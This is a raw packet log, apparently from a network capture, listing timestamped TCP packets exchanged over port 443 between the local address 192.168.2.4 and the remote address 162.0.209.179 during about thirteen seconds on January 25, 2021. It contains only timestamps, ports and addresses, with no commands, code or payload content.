Jan 25, 2021 21:13:30.223980904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.224082947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.337661028 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.543075085 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.554296017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.554472923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.555556059 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.800689936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884747982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884788990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884836912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884880066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884916067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884953022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.884980917 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.885082006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.886495113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.886634111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.993403912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.198096991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.204771042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.205049992 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.211394072 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.468656063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542475939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542499065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542511940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542531967 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542543888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542557955 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.542849064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.545468092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.545830011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.665347099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.870737076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.877531052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:31.878320932 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:31.878444910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.124114037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210016966 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210057974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210079908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210098982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210109949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.210120916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210140944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.210144043 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.210203886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.212047100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.212143898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.320436001 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.530337095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.534010887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.534115076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.536051989 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.780956030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861591101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861648083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861677885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861710072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861751080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861788988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.861948013 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.862034082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.863804102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:32.864042044 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:32.977700949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.181921959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.186865091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.186994076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.188884974 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.433686972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532751083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532812119 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532850981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532886982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532933950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532975912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.532982111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.533063889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.534879923 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.535021067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.649964094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.854907990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.859249115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:33.859466076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:33.861453056 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.129636049 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.185992956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.186054945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.186105967 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.186147928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.186152935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.186187029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.186219931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.186225891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.186302900 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.187805891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.187916994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.305778027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.511559963 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.516396046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.516516924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.517297029 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.762092113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840707064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840769053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840807915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840846062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840847969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.840888977 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.840892076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840940952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.840956926 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.841032028 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.841567039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:34.841665983 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:34.945468903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.149985075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.154468060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.154834032 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.155929089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.400660992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.470966101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.471021891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.471052885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.471088886 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.471136093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.471178055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.471230030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.471322060 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.472651005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.472786903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.587315083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.791650057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.796344995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:35.796477079 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:35.797501087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.041898012 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115080118 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115147114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115185976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115225077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115262032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115309000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.115441084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.115515947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.116287947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.116388083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.227679014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.432069063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.437022924 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.437232971 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.438163042 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.683232069 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755299091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755362988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755394936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755425930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755476952 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755522013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755549908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:36.755686998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.755773067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:36.868284941 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.072987080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.077475071 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.077611923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.079473972 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.323952913 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397133112 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397197008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397237062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397277117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397289038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.397315979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397365093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.397375107 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.397469997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.398539066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.398650885 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.508694887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.754322052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.755728006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:37.755815983 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:37.756807089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.001996040 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.078918934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.078974962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.079018116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.079055071 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.079083920 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.079093933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.079113960 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.079130888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.079166889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.079209089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.080087900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.080183029 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.196070910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.400721073 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.405512094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.405810118 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.407613993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.709671974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.792768955 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.792824030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.792860985 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.792898893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.792934895 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.792943954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.792980909 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.793030024 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.793112993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.794373035 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:38.794507980 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:38.900485992 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.105139971 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.109536886 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.109700918 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.110685110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.355827093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448313951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448379993 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448416948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448466063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448508024 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448546886 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.448565006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.448625088 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.448631048 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.448978901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.449059963 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.555918932 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.760509014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.765660048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:39.765839100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:39.767772913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.012655020 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090194941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090253115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090293884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090333939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090336084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.090372086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090399027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.090416908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.090449095 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.090511084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.092210054 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.092328072 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.197472095 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.403434038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.409807920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.409914970 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.410634041 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.655764103 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736258984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736278057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736293077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736308098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736324072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736335039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.736346006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.736382008 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.736392975 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.738060951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:40.738145113 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:40.853652954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.058397055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.062822104 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.063087940 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.065614939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.310503960 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377350092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377374887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377440929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377456903 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377469063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377480984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.377557993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.377659082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.379009008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.379108906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.493979931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.698503017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.705528975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:41.705682993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.707576990 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:41.952768087 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030642986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030698061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030746937 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030790091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030827045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030865908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.030883074 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.031008005 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.032639980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.032768011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.150386095 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.354953051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.359790087 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.360025883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.361988068 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.611082077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684530020 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684623957 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684667110 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684703112 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684717894 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.684740067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684779882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.684793949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.684921026 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.686487913 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:42.686611891 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.791050911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:42.995821953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.005937099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.006045103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.006755114 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.252752066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328505039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328548908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328586102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328629017 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.328634024 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328679085 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.328702927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328738928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.328743935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.328831911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.328857899 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.330161095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.330260992 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.445969105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:43.650573015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.655931950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:43.656285048 CET	49745	443	192.168.2.4	162.0.209.179
